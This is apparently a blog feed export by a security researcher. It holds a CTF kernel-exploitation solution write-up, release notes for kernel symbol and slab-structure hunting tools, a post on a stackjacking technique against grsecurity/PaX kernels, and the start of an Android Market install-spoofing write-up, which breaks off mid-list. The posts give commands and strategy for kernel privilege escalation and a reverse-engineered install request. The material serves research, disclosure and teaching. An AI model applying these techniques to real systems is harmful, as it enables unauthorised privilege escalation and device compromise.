<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: left;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: center;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<p style="text-align: right;">SPOILER AHEAD &#8211; STOP SCROLLING IF YOU DON&#8217;T WANT TO SEE THE SOLUTION!</p>
<h2 style="text-align: left;">The Solution</h2>
<p>Ok, that should be enough! Now to the actual solution. Hopefully you were able to get past the first part of guessing the right key, which should be straightforward to any crypto folks based on the SqueamishOssifrage name or via a quick Google search:</p>
<p><a href="http://en.wikipedia.org/wiki/The_Magic_Words_are_Squeamish_Ossifrage" target="_blank">http://en.wikipedia.org/wiki/The_Magic_Words_are_Squeamish_Ossifrage<br />
</a></p>
<p>Armed with the key, you can decrypt the flag.enc as follows:</p>
<pre>$ echo "The Magic Words are Squeamish Ossifrage" &gt; /proc/csaw/key
$ cat flag.enc &gt; /proc/csaw/decrypt
$ cat /proc/csaw/decrypt
Congrats on decrypting the secret payload. Unfortunately, your flag is
not here. It is actually in /root/flag.txt. Good luck.</pre>
<p>So, despite the appearance of the code, this was not actually a crypto challenge, but rather a kernel exploitation challenge. Would you expect anything else? ;-)</p>
<p>The next step in the challenge was to find the vulnerability in the SqueamishOssifrage kernel module. Most of the module is a hacked up TEA cipher that doesn&#8217;t really do anything interesting other than act as a red herring.</p>
<p>If you look in the key_write() function, you can see that there&#8217;s an undocumented ability to set the number of rounds of the TEA cipher:</p>
<pre>sscanf(buf, "%16c\t%d", (char *) key, &amp;rounds);</pre>
<p>So, you can set the TEA cipher to perform 666 rounds by doing:</p>
<pre>echo -e "testtesttesttest\t666" &gt; /proc/csaw/key</pre>
<p>Now, the TEA cipher is implemented recursively, which is key (no pun intended) to the challenge. So the more rounds you specify, the deeper the call stack in the kernel.</p>
<p>On Linux kernels, you have a limited kernel stack (commonly 8k on x86). If you have a deeply recursive kernel function, especially one where the amount of recursion is controlled by an attacker, you may end up clobbering sensitive data in the thread_info structure which is stored at the base of your process&#8217; kernel stack. More detailed info on Linux kernel stack overflows and how to exploit them is available here in a previous blog post:</p>
<p><a href="http://jon.oberheide.org/blog/2010/11/29/exploiting-stack-overflows-in-the-linux-kernel/" target="_blank">http://jon.oberheide.org/blog/2010/11/29/exploiting-stack-overflows-in-the-linux-kernel/</a></p>
<p>So if you made it this far, the challenge is more or less straightforward at this point. Just continue trying more rounds (and therefore a deeper kernel call stack) until the &#8220;tip&#8221; of the stack hits the restart_block.fn function pointer that is stored at the base of the kernel stack. You&#8217;ll probably crash the kernel a few times by recursing too deep and clobbering sensitive members of the thread_info structure, but with a few tries, you&#8217;ll eventually determine the right number of rounds to directly hit the restart_block member (which on the target VM/kernel was 114 rounds).</p>
<p>You can easily test whether your restart_block function pointer has been clobbered by calling the restart_syscall system call:</p>
<pre>syscall(__NR_restart_syscall);</pre>
<p>In this case, the tip of the kernel stack is not directly under your control, but is indeed a userspace address (0x9e3779b9 passed as the last parameter to scramble/descramble). So by clobbering the restart_block function pointer with a userspace address, all you need to do is mmap your payload at that userspace address and trigger its execution via the restart_syscall system call.</p>
<p>To make the privesc a little more challenging, /proc/kallsyms is not readable as an unprivileged user, so retrieving the usual prepare_kernel_cred/commit_creds symbols is thwarted. However, I did leave a System.map world-readable in /boot which provides the equivalent symbols.</p>
<p>After escalating privileges, simply read the flag from /root/flag.txt.</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2011/11/27/csaw-ctf-2011-kernel-exploitation-challenge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tool releases: ksymhunter and kstructhunter</title>
		<link>http://jon.oberheide.org/blog/2011/09/08/tool-releases-ksymhunter-and-kstructhunter/</link>
		<comments>http://jon.oberheide.org/blog/2011/09/08/tool-releases-ksymhunter-and-kstructhunter/#comments</comments>
		<pubDate>Fri, 09 Sep 2011 03:07:27 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=935</guid>
		<description><![CDATA[I&#8217;m releasing a couple tools I use internally for Linux kernel exploit development: ksymhunter and kstructhunter. They&#8217;re probably only useful for like ten people on the planet, but oh well, enjoy! ksymhunter Kernel symbols are definitely a useful resource when writing Linux kernel exploits. Whether you&#8217;re looking for particular structures in kernel memory or pulling the old [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m releasing a couple tools I use internally for Linux kernel exploit development: <a href="https://github.com/jonoberheide/ksymhunter" target="_blank">ksymhunter</a> and <a href="https://github.com/jonoberheide/kstructhunter" target="_blank">kstructhunter</a>. They&#8217;re probably only useful for like ten people on the planet, but oh well, enjoy!</p>
<p><span id="more-935"></span></p>
<h2>ksymhunter</h2>
<p>Kernel symbols are definitely a useful resource when writing Linux kernel exploits. Whether you&#8217;re <a href="http://jon.oberheide.org/files/cve-2010-3437.c" target="_blank">looking for particular structures</a> in kernel memory or pulling the old <a href="http://www.grsecurity.net/~spender/wunderbar_emporium.tgz" target="_blank">commit_creds technique</a> for convenient privilege escalation, having access to a kernel symbol table can be incredibly useful for an exploit writer.</p>
<p>So why is /proc/kallsyms still world-readable in many distributions, giving unfettered access to the symbol table to unprivileged users? Well, it shouldn&#8217;t be, but that&#8217;s only a small part of the problem since kernel symbols can be discovered from a variety of sources on the target system. For example, kernel symbols are often available in:</p>
<ul>
<li>/proc/kallsyms</li>
<li>System.map stored in /boot, /usr/src/linux, /lib/modules</li>
<li>vmlinux stored in /boot, /usr/src/linux, /lib/modules, /usr/lib/debug</li>
<li>vmlinuz stored in /boot, /usr/src/linux/arch/x86/boot</li>
</ul>
<p>ksymhunter is a tool I wrote designed to expose kernel symbols in these locations on a running system. As you can see in <a href="https://github.com/jonoberheide/ksymhunter/blob/master/ksymhunter.c" target="_blank">the source code</a>, ksymhunter enumerates a large number of common kernel symbol sources in an attempt to resolve whatever symbol you pass on the command line:</p>
<pre>$ ./ksymhunter prepare_kernel_cred
[+] trying to resolve prepare_kernel_cred...
[+] resolved prepare_kernel_cred using /boot/System.map-2.6.38-gentoo
[+] resolved prepare_kernel_cred to 0xffffffff81061060</pre>
<p>So why doesn&#8217;t your distribution protect /boot, /usr/src, /lib/modules, and other paths to make them only readable by a privileged root user? Well, they certainly should (Ubuntu has done some of this in its Natty release thanks to Kees Cook), but that&#8217;s not the end of the story.</p>
<p>Binary distributions suffer from an inherent problem when they distribute the same stock binary kernel to all of their users. So while your distribution may successfully block access to all the kernel symbol sources on your machine from an attacker, the attacker can easily download and run the same distribution and stock binary kernel image that is running on your system, thereby discovering the symbol addresses on his box and then using them to exploit your kernel.</p>
<p>Taking it a step further, an attacker could simply crawl all the public kernel rpms/debs/etc provided by Linux distributions, parse symbol tables out of the kernel images, index them by distribution/version, and make them accessible via a lookup API. In fact, that is exactly what ksymhunter&#8217;s remote lookup functionality does. If all of the local sources of kernel symbols fail, it will query out to a network service to look up the correct symbol address based on the provided kernel version.</p>
<p>Really, ksymhunter is just a tool to prove that a more proper solution is necessary to sufficiently hide kernel symbols from an attacker. One such proposal is to re-using the existing <a href="http://en.wikipedia.org/wiki/Kernel_relocation" target="_blank">relocation support</a> in the Linux kernel to load the kernel image at a random offset. However, the leak of a single symbol address via dmesg, /proc, or other sources would allow the attacker to determine the offset and &#8220;re-base&#8221; the desired kernel symbol addresses. A more thorough solution would be in-kernel ASLR, but that is a non-trivial task.</p>
<p>You can download <a href="https://github.com/jonoberheide/ksymhunter" target="_blank">ksymhunter on GitHub</a>.</p>
<h2>kstructhunter</h2>
<p>kstructhunter is a tool that can help save a boatload of time when doing SLAB/SLUB/SLOB overflows, use-after-free exploits, or other techniques that rely on knowing where particular structures will be allocated in kernel memory.</p>
<p>The Linux kernel&#8217;s <a href="http://en.wikipedia.org/wiki/Kernel_slab" target="_blank">SLAB memory allocator</a> groups similarly-sized allocations into general kmalloc caches. For example, there is a kmalloc-64 cache for any allocations greater than 32 bytes, but less than or equal to 64. There are general kmalloc caches for allocation sizes of 8, 16, 32, 64, 96, 128, 192, 256, 512, 1024, 2048, 4096, and 8192 bytes. There are also specialized caches for some frequently allocated structures, but those are of lesser importance for exploitation.</p>
<p>Normally, if you&#8217;re writing a <a href="http://jon.oberheide.org/files/i-can-haz-modharden.c" target="_blank">SLUB overflow</a> for example, you&#8217;ll want to find a structure that can be allocated within the same kmalloc cache as the structure you&#8217;re planning on overflowing. That way, if you&#8217;re able to achieve adjacent allocations of those structures, you can overflow into an object of your choosing, potentially overwriting sensitive data or function pointers that may lead to privilege escalation.</p>
<p>Finding a structure that is appropriate for a particular SLUB overflow or UAF vulnerability can be a real pain though, digging through header files and calculating structure sizes for promising structures that may be allocated in a particular kmalloc cache.</p>
<p>kstructhunter simply automates this tedious task! Given a particular target structure, kstructhunter will calculate which kmalloc cache it is allocated in and output every other structure that is also allocated in that kmalloc cache. For example, if I want to figure out what other structures may be co-located in a kmalloc cache with sctp_ssnmap:</p>
<pre>$ python kstructhunter.py sctp_ssnmap
struct sctp_ssnmap is size 40
struct sctp_ssnmap is allocated in kmalloc-64
other structs allocated in kmalloc-64:
        ARCMSR_CDB
        ArcProto
        BC_DEC_YUV_BUFFS
        ...</pre>
<p>In reality, kstructhunter is really just a simple python script that operates on the output of a tool called <a href="http://lwn.net/Articles/206805/" target="_blank">pahole</a>. pahole does all the black magic by reading the <a href="http://en.wikipedia.org/wiki/DWARF" target="_blank">DWARF</a> debugging information from a kernel object file compiled with CONFIG_DEBUG_INFO (aka &#8220;gcc -g&#8221;). kstructhunter comes bundled with the pahole output for the stock Ubuntu Natty kernel (both 32-bit and 64-bit versions), but can optionally take a -f option to supply your own pahole data file (generated via &#8220;pahole -s object_file&#8221;).</p>
<p>Future versions of kstructhunter may further prune down the lists of structures, by determining which structures are actually kmalloc&#8217;ed, if they&#8217;re kmalloc&#8217;ed in code paths reachable by an unprivileged process, and if they contain sensitive pointers that may be useful to overwrite.</p>
<p>You can download <a href="https://github.com/jonoberheide/kstructhunter" target="_blank">kstructhunter on GitHub</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2011/09/08/tool-releases-ksymhunter-and-kstructhunter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stackjackin&#8217; 2: Electric Boogaloo</title>
		<link>http://jon.oberheide.org/blog/2011/07/06/stackjackin-2-electric-boogaloo/</link>
		<comments>http://jon.oberheide.org/blog/2011/07/06/stackjackin-2-electric-boogaloo/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 04:02:11 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=899</guid>
		<description><![CDATA[Last month at SummerCon, Dan Rosenberg and I talked about our stackjacking technique for exploiting kernel vulnerabilities on grsecurity/PaX-hardened Linux kernels, in a presentation titled &#8220;Stackjacking and Other Kernel Nonsense.&#8221; While we covered a lot of material from our original stackjacking presentation, we also presented on a couple new items extending the original stackjacking technique: We discussed [...]]]></description>
				<content:encoded><![CDATA[<p>Last month at <a href="http://summercon.org/">SummerCon</a>, Dan Rosenberg and I talked about our <a href="http://jon.oberheide.org/blog/2011/04/20/stackjacking-your-way-to-grsec-pax-bypass/">stackjacking technique</a> for exploiting kernel vulnerabilities on grsecurity/PaX-hardened Linux kernels, in a presentation titled &#8220;Stackjacking and Other Kernel Nonsense.&#8221;</p>
<p><span id="more-899"></span></p>
<p style="text-align: center;"><img class="size-full wp-image-901 aligncenter" title="" src="http://jon.oberheide.org/blog/wp-content/uploads/2011/07/stackjacking.png" alt="" width="532" height="398" /></p>
<p>While we covered a lot of material from our original stackjacking presentation, we also presented on a couple new items extending the original stackjacking technique:</p>
<ul>
<li>We discussed about how enhancements to the vanilla Linux kernel, such as <a href="http://vulnfactory.org/blog/2011/06/05/smep-what-is-it-and-how-to-beat-it-on-linux/">SMEP</a>, may make stackjacking an effective approach for vanilla kernel exploitation. While an arbitrary write is currently still sufficient for exploiting a vanilla Linux kernel, we may eventually (years?) get to the point where the built-in protection mechanisms begin to approach the mitigations offered by grsecurity/PaX. Again, not really important in the short-term, but hopefully we&#8217;ll revive stackjacking for use against vanilla kernels a few years from now. :-)</li>
<li>We also presented a revised stackjacking approach that is effective against the stackjacking mitigations that <a href="http://forums.grsecurity.net/viewtopic.php?f=7&amp;t=2596">spender released not-so-quietly</a> after our HES presentation and before our Infiltrate presentation. To top it off, the new technique allows exploitation with even less attacker assumptions!</li>
</ul>
<p>The latter item is obviously of more interest, so let&#8217;s discuss that.</p>
<p>As discussed in our <a href="http://jon.oberheide.org/blog/2011/04/20/stackjacking-your-way-to-grsec-pax-bypass/">previous post</a>, the fixes released by spender mitigated the Rosengrope technique by moving thread_info off the kernel stack and mitigated the Obergrope technique by enabling RANDKSTACK on amd64 in addition to x86. RANDKSTACK is able to sufficiently frustrate the Obergrope technique since it randomizes the kernel stack pointer on every system call, making a write to a precise offset within the kernel stack frame difficult to perform reliably.</p>
<p>So, RANDKSTACK is good since it stops my method of stack groping. However, it also has some harmful side effects on kernel stack memory disclosures, the foundation of our stackjacking technique. Simply put, RANDKSTACK is bad since it effectively amplifies the &#8220;read capabilities&#8221; of a kernel stack leak.</p>
<p>For example, normally when I have a stack leak, we can leak off a few bytes at a particular offset on the kernel stack. If these bytes happen to overlap a sensitive pointer, say a pointer to our process&#8217;s cred struct, we could leak its address and use our arbitrary write to escalate privileges. However, we dismissed this approach since it is too specific: it requires the kernel stack leak to be perfectly offset and therefore is not universal. After all, we originally developed the stack groping technique to make the stackjacking attack universal regardless of the size/offset of the kernel stack leak.</p>
<p>However, when RANDKSTACK is enabled, the kernel stack pointer is randomized on every system call. So instead of leaking bytes at a particular offset on the kernel stack, we can now leak off a significant portion of the kernel stack since every call will give us a different &#8220;chunk&#8221; of the stack contents. So we simply repeat our leak over and over to read off as much of the kernel stack as we need. Since we can read a large portion of the kernel stack, we just need to prime the kernel stack with a function that puts a sensitive pointer (eg. cred struct) on the kernel stack, leak off its address, then write into it to escalate privileges.</p>
<p>In summary, having RANDKSTACK enabled makes the stackjacking attack even easier. In addition, we no longer need a stack leak + arbitrary write, now we only need a stack leak + NULL write, a much more common primitive. A NULL write is sufficient in this case since we&#8217;ve cut out the whole groping stage and can simply write 0&#8242;s into the uid/gid fields of a leaked cred struct.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-908" title="" src="http://jon.oberheide.org/blog/wp-content/uploads/2011/07/kstack.png" alt="" width="516" height="386" /></p>
<p>We reported this weakness to spender and pipacs soon after their <a href="http://forums.grsecurity.net/viewtopic.php?f=7&amp;t=2596">original blog post</a> on our presentation.</p>
<p>To mitigate this weakness, pipacs introduced a feature called PAX_MEMORY_STACKLEAK, which clears the kernel stack between system calls, something we suggested in our original presentation back in April. While this doesn&#8217;t completely eliminate the risk of kstack disclosures (a kstack leak could still leak memory from a previous frame within the same system call), it covers the vast majority of the leaks, at the obvious cost of performance.</p>
<p>While the PAX_MEMORY_STACKLEAK feature is available in the test grsecurity patches, the <a href="http://grsecurity.net/changelog-test.txt">changelog</a> indicates that it is still undergoing some refinement and optimization and I fear it will be enabled about as frequently as PAX_MEMORY_SANITIZE (aka not very often). As spender mentions <a href="http://grsecurity.net/pipermail/grsecurity/2011-June/001085.html">here</a>, a future blog post by pipacs will hopefully cover the new PAX_MEMORY_STACKLEAK feature in more detail. I&#8217;m excited to read about pipacs&#8217; crazy optimizations and gcc instrumentation for reducing the performance impact of PAX_MEMORY_STACKLEAK.</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2011/07/06/stackjackin-2-electric-boogaloo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>When Angry Birds Attack: Android Edition</title>
		<link>http://jon.oberheide.org/blog/2011/05/28/when-angry-birds-attack-android-edition/</link>
		<comments>http://jon.oberheide.org/blog/2011/05/28/when-angry-birds-attack-android-edition/#comments</comments>
		<pubDate>Sat, 28 May 2011 23:22:42 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=724</guid>
		<description><![CDATA[It&#8217;s been about six months since I reported a vulnerability in the Android mobile platform that allowed the unprompted installation of arbitrary applications with arbitrary permissions on a victim&#8217;s device. While the vulnerability has long been fixed on Android handsets around the world, I&#8217;ve yet to write up any technical details about it, and it&#8217;s [...]]]></description>
				<content:encoded><![CDATA[<div>
<p>It&#8217;s been about six months since I reported a vulnerability in the Android mobile platform that allowed the unprompted installation of arbitrary applications with arbitrary permissions on a victim&#8217;s device. While the vulnerability has long been fixed on Android handsets around the world, I&#8217;ve yet to write up any technical details about it, and it&#8217;s unlikely you&#8217;ve heard of it unless you were present at our <a href="http://jon.oberheide.org/files/shmoo11-teamjoch.pdf" target="_blank">ShmooCon presentation</a> earlier this year. So without further ado, let&#8217;s dive into &#8220;When Angry Birds attack: Android edition.&#8221;</p>
<p><span id="more-724"></span></p>
<p><img class="aligncenter size-full wp-image-240" src="http://blog.duosecurity.com/wp-content/uploads/2011/05/Angry_birds_android.jpg" alt="" width="580" height="320" /></p>
<h2>Deciphering the Android Market</h2>
<p>If you&#8217;ve followed my <a href="http://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/" target="_blank">Android</a> <a href="http://jon.oberheide.org/blog/2010/06/28/a-peek-inside-the-gtalkservice-connection/" target="_blank">security</a> <a href="http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/" target="_blank">research</a>, you&#8217;ll know that I&#8217;m a big fan of poking around in the Android Market routines. After all, if you&#8217;re looking to gain code execution on a mobile device, it certainly makes a lot of sense to target the mechanism used to deliver, install, and execute new code.</p>
<p>In my <a href="http://jon.oberheide.org/files/summercon10-androidhax-jonoberheide.pdf" target="_blank">SummerCon presentation</a> last year, I first delved into the GTalkService mechanism that the Android platform uses to install and remove apps from a user&#8217;s mobile device. Ironically (or maybe appropriately), that presentation also covered a simple proof-of-concept app called RootStrap which subsequently became the <a href="http://android-developers.blogspot.com/2010/06/exercising-our-remote-application.html" target="_blank">first app to be remote-killed/wiped</a> by Google from users&#8217; devices using the very GTalkService mechanism I was presenting on.</p>
<p>If you haven&#8217;t yet read up on the GTalkService, I recommend giving the <a href="http://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/" target="_blank">background</a> <a href="http://jon.oberheide.org/blog/2010/06/28/a-peek-inside-the-gtalkservice-connection/" target="_blank">material</a> a quick read:</p>
<blockquote><p>In short, the GTalkService is a persistent connection maintained from your Android phone to Google’s servers at all time.  It allows Google to push down messages to your phone in order to perform particular actions.  For example, when you click to install an app through the Android Market, Google pushes down an INSTALL_ASSET to your phone which causes it to fetch and install that application.  When Google wants to remote kill an application from your phone, it pushes down a REMOVE_ASSET message to your phone which causes it to remove the particular application.</p></blockquote>
<p>So, from a user&#8217;s perspective, installing a new application seems like a pretty simple process:</p>
<ol>
<li>Launch the Android Market app</li>
<li>Browse/search for an application to install</li>
<li>Click to install the application</li>
<li>Approve any necessary permissions</li>
<li>App is downloaded and installed</li>
</ol>
<p>The user would usually see a sequence of screens in the Market application followed by a notification in the status bar that the application is being downloaded and installed:</p>
<p><img class="aligncenter size-full wp-image-216" src="http://blog.duosecurity.com/wp-content/uploads/2011/05/user.png" alt="" width="600" height="243" /></p>
<p>However, under the covers, there is a lot more going on. Steps 1-4 above all happen within the context of the Market application, but the 5th step is handled by a completely different component of the Android platform: the GTalkService.</p>
<p>So what exactly happens between the 4th and 5th step? A bit of magic that looks like the following:</p>
<p><img class="aligncenter size-full wp-image-249" src="http://blog.duosecurity.com/wp-content/uploads/2011/05/android.png" alt="" width="599" height="225" /></p>
<p>As the above diagram shows, the actual app install process breaks down further behind the scenes:</p>
<ol>
<li>The user clicks the final install/approve button the Market app</li>
<li>The Market app POSTs an install request to the Android Market servers</li>
<li>The Market servers signal the C2DM service about the install request</li>
<li>The C2DM servers send an INSTALL_ASSET message through the GTalkService connection</li>
<li>The GTalkService component on the Android device receives the INSTALL_ASSET and invokes Vending</li>
<li>The Vending component fetches the APK and installs the application</li>
</ol>
<p>So while the user gives their approval within the Market app to install a new application, the actual download and install of the target APK occurs within the context of the Vending code.</p>
<h2>Chatting with the Market Servers</h2>
<p>So whatever, the Android app installation process is a bit round-about, but how is bad from a security perspective?</p>
<p>One of the things that raised a red flag in my mind was this disconnect in responsibility between the Android Market app and the GTalkService/Vending routines. The users give their approval to install the app from within the Market app, but everything else is handled automatically by the Vending code via the INSTALL_ASSET mechanism. Therefore, if we could spoof an INSTALL_ASSET message, we could potentially install applications with arbitrary permissions without the user&#8217;s approval.</p>
<p>While we might not be able to spoof an INSTALL_ASSET message down the GTalkService pipe without owning Google&#8217;s infrastructure, maybe we can trick Google&#8217;s servers into initiating an INSTALL_ASSET on our behalf! After all, if the legitimate Market app is able to POST an install request to the Market servers and trigger an INSTALL_ASSET, why can&#8217;t an illegitimate app make the same request? :-)</p>
<p>Let&#8217;s take a look at what exactly the Market app POSTs to the Market servers during an install request:</p>
<pre class="code">POST /market/api/ApiRequest HTTP/1.1
Content-Length: 524
Content-Type: application/x-www-form-urlencoded
Host: android.clients.google.com
Connection: Keep-Alive
User-Agent: Android-Market/2 (dream DRC83); gzip
version=2&amp;request=CuACCvYBRFFBQUFLOEFBQUJvZWVEVGo4eGV4OVRJaW9 . . .</pre>
<p>Bleh, that request parameter just contains a big ugly blob of a payload. Google sure loves to use <a href="http://code.google.com/p/protobuf/" target="_blank">protobuf</a> and it turns out that the payload blob is a base64-encoded protobuf structure. The raw protobuf for that request payload looks like:</p>
<pre class="code">1 {
    1: "DQAAAK8AAABoeeDTj8xex9TIio . . ."
    2: 0
    3: 1668
    4: "f2f15ccd17fb305"
    5: "dream:4"
    6: "en"
    7: "US"
    8: "Android"
    9: "Android"
    10: "310260"
    11: "310260"
    12 {
        12: 0x656c676f6f672d6d
    }
    13: "-606db3000d480d63"
}
2 {
    10 {
        1: "353999319718585473"
    }
}</pre>
<p>The downside of protobuf is that if you don&#8217;t have the original schema, it makes it quite difficult to infer what the various fields are for. In this dump, there appears to be some device identifiers, locale information, platform/version fields, etc. If you&#8217;ve played around with Google services before, you&#8217;ll also recognize the first field as an auth token from the ClientLogin service. Fortunately, some of these protobuf fields have been reverse engineered already and are available in the <a href="http://code.google.com/p/android-market-api/" target="_blank">android-market-api project</a>. Unfortunately, this install request protobuf spec had not yet been reverse engineered.</p>
<p><em>&lt;&lt; cue montage of several hours of exciting reverse engineering of vending.apk &gt;&gt;</em></p>
<p>After some RE of the market/vending code, I was able to infer what the unknown fields were used for. The annonated protobuf spec looks something like the following:</p>
<pre class="code">message UnknownThing {
    optional fixed64 mgoogle = 12;
}
message InstallRequest {
    optional string appId = 1;
}
message RequestContext {
    required string authToken = 1;
    required int32 unknown1 = 2;
    required int32 version = 3;
    required string androidId = 4;
    optional string deviceAndSdkVersion = 5;
    optional string userLanguage = 6;
    optional string userCountry = 7;
    optional string operatorAlpha = 8;
    optional string simOperatorAlpha = 9;
    optional string operatorNumeric = 10;
    optional string simOperatorNumeric = 11;
    optional UnknownThing unknown12 = 12;
    optional string unknown13 = 13;
}
message Request {
    optional RequestContext context = 1;
    repeated group RequestGroup = 2 {
        optional InstallRequest installRequest = 10;
    }
}</pre>
<p>The values of most of these fields in the install request message are known or can be queried from the Android device itself, but the important fields worth noting are &#8220;appId&#8221; and &#8220;authToken&#8221;:</p>
<ul>
